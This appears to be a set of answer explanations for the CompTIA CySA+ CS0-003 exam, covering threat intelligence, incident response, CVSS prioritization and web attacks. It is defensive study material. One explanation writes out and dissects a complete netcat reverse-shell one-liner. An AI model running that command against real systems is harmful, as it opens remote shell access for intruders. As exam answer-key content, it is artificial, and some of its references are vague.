CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Questions and Answers

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target’s network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html

The one-liner script is utilizing JavaScript to execute a PowerShell command that downloads and runs a script from an external source, indicating the use of custom malware to download an additional script. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156.

Group Policy Objects (GPO) are a feature in Windows environments that allow administrators to control settings and permissions across user accounts and computers within an organization. GPOs can restrict user permissions to prevent unauthorized installation or modification of applications, making them the best choice for centrally managing user capabilities on Windows systems. While HIPS (Host Intrusion Prevention Systems), Registry, and DLP (Data Loss Prevention) have their own uses, GPOs provide a scalable and enterprise-level solution for application control as per CompTIA Security+ guidelines.

The correct answer is B. It proactively facilitates real-time information sharing between the public and private sectors.

TAXII, or Trusted Automated eXchange of Intelligence Information, is a standard protocol for sharing cyber threat intelligence in a standardized, automated, and secure manner. TAXII defines how cyber threat information can be shared via services and message exchanges, such as discovery, collection management, inbox, and poll. TAXII is designed to support STIX, or Structured Threat Information eXpression, which is a standardized language for describing cyber threat information in a readable and consistent format. Together, STIX and TAXII form a framework for sharing and using threat intelligence, creating an open-source platform that allows users to search through records containing attack vectors details such as malicious IP addresses, malware signatures, and threat actors123.

The importance of implementing TAXII as part of a threat intelligence program is that it proactively facilitates real-time information sharing between the public and private sectors. By using TAXII, organizations can exchange cyber threat information with various entities, such as security vendors, government agencies, industry associations, or trusted groups. TAXII enables different sharing models, such as hub and spoke, source/subscriber, or peer-to-peer, depending on the needs and preferences of the information producers and consumers. TAXII also supports different levels of access control, encryption, and authentication to ensure the security and privacy of the shared information123.

By implementing TAXII as part of a threat intelligence program, organizations can benefit from the following advantages:

They can receive timely and relevant information about the latest threats and vulnerabilities that may affect their systems or networks.

They can leverage the collective knowledge and experience of other organizations that have faced similar or related threats.

They can improve their situational awareness and threat detection capabilities by correlating and analyzing the shared information.

They can enhance their incident response and mitigation strategies by applying the best practices and recommendations from the shared information.

They can contribute to the overall improvement of cyber security by sharing their own insights and feedback with other organizations123.

The other options are incorrect because they do not accurately describe the importance of implementing TAXII as part of a threat intelligence program.

Option A is incorrect because TAXII does not provide a structured way to gain information about insider threats. Insider threats are malicious activities conducted by authorized users within an organization, such as employees, contractors, or partners. Insider threats can be detected by using various methods, such as user behavior analysis, data loss prevention, or anomaly detection. However, TAXII is not designed to collect or share information about insider threats specifically. TAXII is more focused on external threats that originate from outside sources, such as hackers, cybercriminals, or nation-states4.

Option C is incorrect because TAXII does not exchange messages in the most cost-effective way and requires little maintenance once implemented. TAXII is a protocol that defines how messages are exchanged, but it does not specify the cost or maintenance of the exchange. The cost and maintenance of implementing TAXII depend on various factors, such as the type and number of services used, the volume and frequency of data exchanged, the security and reliability requirements of the exchange, and the availability and compatibility of existing tools and platforms. Implementing TAXII may require significant resources and efforts from both the information producers and consumers to ensure its functionality and performance5.

Option D is incorrect because TAXII is not a semi-automated solution to gather threat intelligence about competitors in the same sector. TAXII is a fully automated solution that enables the exchange of threat intelligence among various entities across different sectors. TAXII does not target or collect information about specific competitors in the same sector. Rather, it aims to foster collaboration and cooperation among organizations that share common interests or goals in cyber security. Moreover, gathering threat intelligence about competitors in the same sector may raise ethical and legal issues that are beyond the scope of TAXII.

References:

1 What is STIX/TAXII? | Cloudflare

2 What Are STIX/TAXII Standards? - Anomali Resources

3 What is STIX and TAXII? - EclecticIQ

4 What Is an Insider Threat? Definition & Examples | Varonis

5 Implementing STIX/TAXII - GitHub Pages

[6] Cyber Threat Intelligence: Ethical Hacking vs Unethical Hacking | Infosec

Comprehensive Detailed Explanation:To effectively prevent Cross-Site Scripting (XSS) attacks, implementing appropriate security controls within the application code and at the network layer is critical. Here’s a breakdown of each option:

A. Implement an IPS in front of the web server

Explanation: Intrusion Prevention Systems (IPS) are primarily designed to detect and prevent network-based attacks, not application-layer vulnerabilities such as XSS. They do not specifically mitigate XSS threats effectively.

B. Enable MFA on the website

Explanation: Multi-factor authentication (MFA) strengthens user authentication but does not address XSS, which typically involves injecting malicious scripts rather than compromising user credentials.

C. Take the website offline until it is patched

While this might temporarily mitigate the risk, it is not a practical solution for ongoing operations, especially when effective preventative controls (e.g., WAF rules or code updates) can be implemented without disabling the service.

D. Implement a compensating control in the source code

Explanation: Implementing security controls at the code level is an effective way to mitigate XSS risks. This can involve proper input validation, output encoding, and utilizing libraries that sanitize user inputs. By addressing the root cause in the source code, developers prevent scripts from being injected or executed in the browser.

E. Configure TLS v1.3 on the website

Explanation: While TLS v1.3 secures the communication channel, it does not address XSS directly. XSS attacks manipulate client-side scripts, which TLS cannot prevent, as TLS only encrypts data in transit.

F. Fix the vulnerability using a virtual patch at the WAF

Explanation: Web Application Firewalls (WAFs) can mitigate XSS vulnerabilities by identifying and blocking malicious payloads. Virtual patching at the WAF level provides a temporary fix by preventing exploit attempts from reaching the application, giving developers time to implement a permanent fix in the source code.

References:

OWASP XSS Prevention Cheat Sheet: Detailed guidance on encoding, sanitizing, and safe coding practices to prevent XSS.

NIST SP 800-44: Guidelines on Web Security, discussing WAFs and application-layer protections.

CWE-79: Common Weakness Enumeration on Cross-Site Scripting, which outlines ways to address and prevent XSS attacks.

Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. References: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare

The most likely cause of the issue where an ICS (Industrial Control System) could not be updated due to hardware versioning incompatibility is a legacy system. Legacy systems often have outdated hardware and software that may not be compatible with modern updates and patches. This can pose significant challenges in maintaining security and operational efficiency.

A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from receiving or sending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the transportation. References: Mobile device forensics, Section: Acquisition

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

The code snippet provided suggests an SQL injection vulnerability, indicated by the use of "1=1," which is a common SQL injection technique to bypass authentication. To mitigate this risk, validating user input is the most effective control, as it ensures that any input is properly sanitized and escapes potentially malicious characters before interacting with the database. This is a key principle from CompTIA Security+ guidelines on secure coding practices. Options A and B are unrelated to the vulnerability type here, and while access control (Option C) is generally good practice, it does not specifically prevent SQL injection.

Comprehensive and Detailed Step-by-Step Explanation:The logs indicate that the OWASP DirBuster tool is being used. This tool is designed for directory brute-forcing to find hidden files or directories on a web server, which aligns with reconnaissance activities. The series of GET and HEAD requests further confirm directory and file enumeration attempts.

References:

CompTIA CySA+ Study Guide (Chapter 4: Reconnaissance Techniques)​

CompTIA CySA+ Objectives (Domain 1.3 Tools and Techniques)​

The system “blane” with the vulnerability name “snakedoctor” should be prioritized for patching as it has a network attack vector (AV:N), low attack complexity (AC:L), and high availability (A:H). These metrics indicate that it would be relatively easy to exploit this vulnerability over the internet, and the system is highly available. References: According to the CVSS v3.1 Specification Document, the exploitability metrics for CVSS are Attack Vector, Attack Complexity, Privileges Required, User Interaction, and Scope. These metrics measure how the vulnerability is accessed, the complexity of the attack, and the level of interaction and privileges required to exploit the vulnerability. The image shows a table with the values of these metrics for each system and vulnerability. Based on these values, the system “blane” has the highest exploitability score, as it has the most favorable conditions for an attacker. The other systems have either a lower attack vector, higher attack complexity, or lower availability, which make them less exploitable. Therefore, the system “blane” should be patched first.

 The script uses PowerShell syntax, such as cmdlets, parameters, variables, and comments. PowerShell is a scripting language that can be used to automate tasks and manage systems.

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.

A web application firewall (WAF) is a tool that can protect web servers from attacks such as SQL injection, cross-site scripting, and other web-based threats. A WAF can filter, monitor, and block malicious HTTP traffic before it reaches the web server. A WAF can also be configured with rules and policies to detect and prevent specific types of attacks.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 3, “Security Architecture and Tool Sets”, page 91; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 1.0 “Threat and Vulnerability Management”, Objective 1.2 “Given a scenario, analyze the results of a network reconnaissance”, Sub-objective “Web application attacks”, page 9

CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review.

References: The answer was based on the NCSC CAF guidance from the National Cyber Security Centre, which states: “You should use post-incident and post-exercise reviews to actively reduce the risks associated with the same, or similar, incidents happening in future. Lessons learned can inform any aspect of your cyber security, including: System configuration Security monitoring and reporting Investigation procedures Containment/recovery strategies”

SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.

The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the behavior, functionality, or characteristics of the binary. 

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

The key goal of the containment stage in an incident response process is to limit further damage from occurring. This involves taking immediate steps to isolate the affected systems or network segments to prevent the spread of the incident and mitigate its impact. Containment strategies can be short-term, to quickly stop the incident, or long-term, to prepare for the eradication and recovery phases.

Comprehensive Detailed Explanation:To safely analyze malware while avoiding unintended disclosure of company information, it is best to use a local sandbox in a microsegmented environment. Here’s why:

A. Upload the malware to the VirusTotal website

Risk: VirusTotal and similar services are public and may share uploaded files with other security vendors, potentially exposing proprietary or sensitive information.

B. Share the malware with the EDR provider

Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples externally still introduces risk of disclosure or data leaks.

C. Hire an external consultant to perform the analysis

Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party handling of sensitive data. Although it may provide insights, this is typically not the most efficient initial response.

D. Use a local sandbox in a microsegmented environment

Explanation: A local sandbox provides a secure, isolated environment for malware analysis without exposing sensitive data outside the organization. Microsegmentation enhances security by further isolating the sandbox from the network, preventing lateral movement if the malware attempts to communicate externally.

References:

NIST SP 800-83: Guide to Malware Incident Prevention and Handling for Desktops and Laptops.

MITRE ATT&CK: Techniques and recommendations for malware analysis in isolated environments.

The formal incident declaration is crucial to identify and document the staff who have the authority to declare an incident, ensuring that incidents are handled by authorized personnel. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5: Incident Response, page 197.

The Diamond Model of Intrusion Analysis is a framework that describes the relationship between four components of a cyberattack: adversary, capability, infrastructure, and victim. It helps analysts understand the behavior and motivation of threat actors, as well as the tools and methods they use to compromise their targets12. References: Main Analytical Frameworks for Cyber Threat Intelligence, section 4; Strategies, tools, and frameworks for building an effective threat intelligence team, section 3.

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated1. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user’s password, email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests2. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value.

Some other possible attacks that are not relevant to this scenario are:

RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user’s browser or account settings.

LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user’s browser or account settings.

XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user’s browser. This attack can affect the user’s browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.

The log entry "......\boot.ini" is indicative of a directory traversal attack, where an attacker attempts to access files and directories that are stored outside the web root folder.

The log snippet "......\boot.ini" is indicative of a directory traversal attack. This type of attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “../” (dot-dot-slash), the attacker may be able to access arbitrary files and directories stored on the file system.

The activities taken by the process with PID 1024 will provide the best insight into this potentially malicious process, based on the anomalous behavior. BGInfo.exe is a legitimate tool that displays system information on the desktop background, but it can also be used by attackers to gather information about the compromised host or to disguise malicious processes12. By monitoring the activities of PID 1024, such as the files it accesses, the network connections it makes, or the commands it executes, the analyst can determine if the process is benign or malicious.

References: bginfo.exe Windows process - What is it?, What is bginfo.exe? Is it Safe or a Virus? How to remove or fix it

An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step, providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

SQL injection is a type of attack that injects malicious SQL statements into a web application’s input fields or parameters, in order to manipulate or access the underlying database. The request shown in the image contains an SQL injection attempt, as indicated by the “UNION SELECT” statement, which is used to combine the results of two or more queries. The attacker is trying to extract information from the database by appending the malicious query to the original one

Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and that use proprietary standards or protocols that are not compatible with other systems. Proprietary systems can pose a challenge for vulnerability management, as they may not allow users to access or modify their configuration, update their software, or patch their vulnerabilities. In this case, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This indicates that these systems and associated vulnerabilities are examples of proprietary systems as inhibitors to remediation

Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA.

References: Authentication Methods - Configuring Tenant-Wide Settings in Azure …, Cloud Foundation - Oracle Help Center

Microsegmentation involves dividing a network into smaller, isolated segments to restrict lateral movement within the network. This is crucial within a Zero Trust architecture, which assumes that no entity (internal or external) is inherently trustworthy. By limiting access to only necessary network segments, microsegmentation reduces the impact of a potential breach by containing it within a limited area. CompTIA emphasizes microsegmentation as an effective strategy to minimize risk and improve security posture by isolating resources based on the principle of least privilege.

The correct answers for key factors in the change management process to reduce the impact of system failures are:

D. Identify assets with dependence that could be impacted by the change.

F. Ensure that all assets are properly listed in the inventory management system.

D. Identify assets with dependence that could be impacted by the change: This is crucial in change management because understanding the interdependencies among assets can help anticipate and mitigate the potential cascading effects of a change. By identifying these dependencies, the organization can plan more effectively for changes and minimize the risk of unintended consequences that could lead to system failures.

F. Ensure that all assets are properly listed in the inventory management system: Maintaining an accurate and comprehensive inventory of assets is fundamental in change management. Knowing exactly what assets the organization possesses and their characteristics allows for better planning and impact analysis when changes are made. This ensures that no critical component is overlooked during the change process, reducing the risk of failures due to incomplete information.

Other Options:

A. Ensure users document system recovery plan prior to deployment: While documenting a system recovery plan is important, it's more related to disaster recovery and business continuity planning than directly reducing the impact of system failures due to changes.

B. Perform a full system-level backup following the change: While backups are essential, they are generally a reactive measure to recover from a failure, rather than a proactive measure to reduce the impact of system failures in the first place.

C. Leverage an audit tool to identify changes that are being made: While using an audit tool is helpful for tracking changes and ensuring compliance, it is not directly linked to reducing the impact of system failures due to changes.

E. Require diagrams to be completed for all critical systems: While having diagrams of critical systems is useful for understanding and managing them, it is not a direct method for reducing the impact of system failures due to changes. Diagrams are more about documentation and understanding rather than proactive change management.

Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page 23

Awareness training and education are essential to help staff recognize phishing emails and understand safe email practices, particularly when using legacy applications that might not have the latest security features. Training helps build a culture of security mindfulness, which is critical for preventing social engineering attacks. According to CompTIA Security+ and CySA+ frameworks, user education is a fundamental aspect of organizational defense against phishing. Options like replacing applications or implementing MFA (while helpful) do not directly address the need for user awareness in this scenario.

The system that should be prioritized for patching first is 54.74.110.228, as it has the highest number and severity of vulnerabilities among the four systems listed in the vulnerability report. According to the report, this system has 12 vulnerabilities, with 8 critical, 3 high, and 1 medium severity ratings. The critical vulnerabilities include CVE-2019-0708 (BlueKeep), CVE-2019-1182 (DejaBlue), CVE-2017-0144 (EternalBlue), and CVE-2017-0145 (EternalRomance), which are all remote code execution vulnerabilities that can allow an attacker to compromise the system without any user interaction or authentication. These vulnerabilities pose a high risk to the system and should be patched as soon as possible.

A risk register typically contains details like ID, name, description, classification of information, and responsible party. It’s used for tracking identified risks and managing them.Recording details like ID, Name, Description, Classification of information, and Responsible party is typically done in a Risk Register. This document is used to identify, assess, manage, and monitor risks within an organization. It's not directly related to incident response or change control documentation.

A social engineering attack is underway is the most likely explanation for the outbound traffic to a host IP that resolves to https://offce365password.acme.co, while the site’s standard VPN logon page is www.acme.com/logon. A social engineering attack is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. A common type of social engineering attack is phishing, which involves sending fraudulent emails or other messages that appear to come from a legitimate source, such as a company or a colleague, and lure the recipients into clicking on malicious links or attachments, or entering their credentials or other sensitive information on fake websites. In this case, the attackers may have registered a domain name that looks similar to the company’s domain name, but with a typo (offce365 instead of office365), and set up a fake website that mimics the company’s VPN logon page. The attackers may have also sent phishing emails to the company’s employees, asking them to reset their passwords or log in to their VPN accounts using the malicious link. The security analyst should investigate the source and content of the phishing emails, and alert the employees not to click on any suspicious links or enter their credentials on any untrusted websites. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

A compensating control is an alternative measure that provides a similar level of protection as the original control, but is used when the original control is not feasible or cost-effective. In this case, the CISO should develop a compensating control to mitigate the risk of the vulnerability in the ACE software, such as implementing additional monitoring, firewall rules, or encryption, until the issue can be fixed permanently by the developers. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

Conducting regular code reviews using OWASP best practices is the most effective action to reduce risks associated with the application development. Code reviews are a systematic examination of the source code of an application to detect and fix errors, vulnerabilities, and weaknesses that may compromise the security, functionality, or performance of the application. Code reviews can help to improve the quality and security of the code, as well as to identify and remediate common security risks, such as insufficient logging capabilities. OWASP (Open Web Application Security Project) is a global nonprofit organization that provides free and open resources, tools, standards, and best practices for web application security. OWASP best practices for logging include following a common logging format and approach, logging relevant security events and data, protecting log data from unauthorized access or modification, and using log analysis and monitoring tools to detect and respond to security incidents. By following OWASP best practices for logging, developers can ensure that their web applications have sufficient and effective logging capabilities that can help to prevent, detect, and mitigate security threats.

References: OWASP Logging Cheat Sheet, OWASP Logging Guide, C9: Implement Security Logging and Monitoring - OWASP Foundation

A Zero-Day vulnerability with CVSS 10.0 requires immediate action because:

It is actively exploitable and has no patch.

The safest option is to shut down the system until a mitigation strategy is available.

Why Not Other Options?

B (Monitor and escalate patching) → Not effective if the system is already vulnerable.

C (Run scan again) → Wastes time; the issue is already confirmed.

D (Forward advisory) → Important but does not immediately address the risk.

According to the security policy, the company shall use the CVSSv3.1 Base Score Metrics to prioritize the remediation of security vulnerabilities. Option C has the highest CVSSv3.1 Base Score of 9.8, which indicates a critical severity level. The company shall also prioritize confidentiality of data over availability of systems and data, and option C has a high impact on confidentiality (C:H). Finally, the company shall prioritize patching of publicly available systems and services over patching of internally available systems, and option C affects a public-facing web server. Official References: https://www.first.org/cvss/

Determining what attack the odd characters are indicative of is the next step that should be taken after reviewing web server logs and noticing several entries with the same time stamps, but all contain odd characters in the request line. This step can help the analyst identify the type and severity of the attack, as well as the possible source and motive of the attacker. The odd characters in the request line may indicate that the attacker is trying to exploit a vulnerability or inject malicious code into the web server or application, such as SQL injection, cross-site scripting, buffer overflow, or command injection. The analyst can use tools and techniques such as log analysis, pattern matching, signature detection, or threat intelligence to determine what attack the odd characters are indicative of, and then proceed to the next steps of incident response, such as containment, eradication, recovery, and lessons learned. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user’s session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware12

The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text “test” when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks3

Comprehensive and Detailed Step-by-Step Explanation:The SPF = PASS result confirms the email came from an authorized server, but DKIM = FAIL indicates the message was not properly signed with the expected DomainKeys Identified Mail (DKIM) signature. DMARC = FAIL suggests that because DKIM failed, the overall email authentication failed. This scenario is consistent with a legitimate server sending an unsigned email.

References:

CompTIA CySA+ All-in-One Guide (Chapter 5: Email Analysis)​

CompTIA CySA+ Practice Tests (Domain 1.3 Email Authentication)​

The correct answer is B. Adversary emulation.

Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls and incident response capabilities of an organization1. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as improve the readiness and skills of the security team. Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network2.

The other options are not the best techniques to meet the CISO’s goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but it does not simulate a real attack or test the incident response capabilities. Passive discovery © is a technique that involves collecting information about the network and systems without sending any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for finding and reporting vulnerabilities in an organization’s systems or applications, but it does not focus on a specific threat actor or group.

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker’s machine. It does the following steps:

•rm -f /tmp/f deletes any existing file named /tmp/f

•mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

•cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

•nc 10.0.0.1 1234 > tmp/f connects to the attacker’s machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet

Intrusion Detection Systems (IDS) logs provide visibility into network traffic patterns and can help detect insecure or unusual connections. These logs will show if non-secure protocols are used, potentially revealing exposed credentials. According to CompTIA CySA+, IDS logs are essential for identifying malicious activity related to communications and network intrusions. Options like DNS (A) and tcpdump (B) provide network details, but IDS specifically monitors for intrusions and unusual activities relevant to security incidents.

Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page 3291

A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: https://www.first.org/cvss/

Determining the asset value of each system is the best action to perform first, as it helps to categorize and prioritize the systems based on the sensitivity of the data they host. The asset value is a measure of how important a system is to the organization, in terms of its financial, operational, or reputational impact. The asset value can help the security analyst to assign a risk level and a protection level to each system, and to allocate resources accordingly. The other actions are not as effective as determining the asset value, as they do not directly address the goal of promoting confidentiality, availability, and integrity of the data. Interviewing the users who access these systems may provide some insight into how the systems are used and what data they contain, but it may not reflect the actual value or sensitivity of the data from an organizational perspective. Scanning the systems to see which vulnerabilities currently exist may help to identify and remediate some security issues, but it does not help to categorize or prioritize the systems based on their data sensitivity. Configuring alerts for vendor-specific zero-day exploits may help to detect and respond to some emerging threats, but it does not help to protect the systems based on their data sensitivity.

The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the virtual server involves creating an exact copy or image of the server’s data and state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the incident without affecting the original server or its operations.

Placing a legal hold on the employee’s mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user’s actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations. The other actions are not as urgent or effective as placing a legal hold on the employee’s mailbox, as they do not address the immediate threat of data loss or compromise. Enabling filtering on the web proxy may help to prevent some types of data exfiltration or malicious traffic, but it does not help to recover or preserve the data that has already been emailed externally. Disabling the public email access with CASB (Cloud Access Security Broker) may help to block or monitor the use of public email services by employees, but it does not help to recover or preserve the data that has already been emailed externally. Configuring a deny rule on the firewall may help to block or monitor the network traffic from the employee’s laptop, but it does not help to recover or preserve the data that has already been emailed externally.

Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://www.comptia.org/certifications/cybersecurity-analyst

ISO 27001 is an international standard that establishes a framework for implementing, maintaining, and improving an information security management system (ISMS). It helps organizations demonstrate their commitment to protecting their data and complying with various regulations and best practices. The other options are not relevant for this purpose: PCI DSS is a standard that focuses on protecting payment card data; COBIT is a framework that provides guidance on governance and management of enterprise IT; ITIL is a framework that provides guidance on service management and delivery.

